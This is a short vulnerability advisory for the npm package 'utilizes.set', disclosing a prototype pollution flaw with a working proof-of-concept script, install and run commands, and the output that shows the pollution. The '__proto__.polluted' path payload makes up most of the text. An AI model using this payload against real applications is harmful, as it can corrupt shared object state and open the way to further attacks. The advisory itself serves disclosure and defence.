utilizes.set

vulnerability prototype pollution
severity 6.5
language typescript
registry npm

Description

utilizes.set is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var utilizesSet = require("utilizes.set")
var obj = {}
console.log("Before : " + {}.polluted);
utilizesSet.set(obj,"Yes! Its Polluted","__proto__.polluted");
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i utilizes.set # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted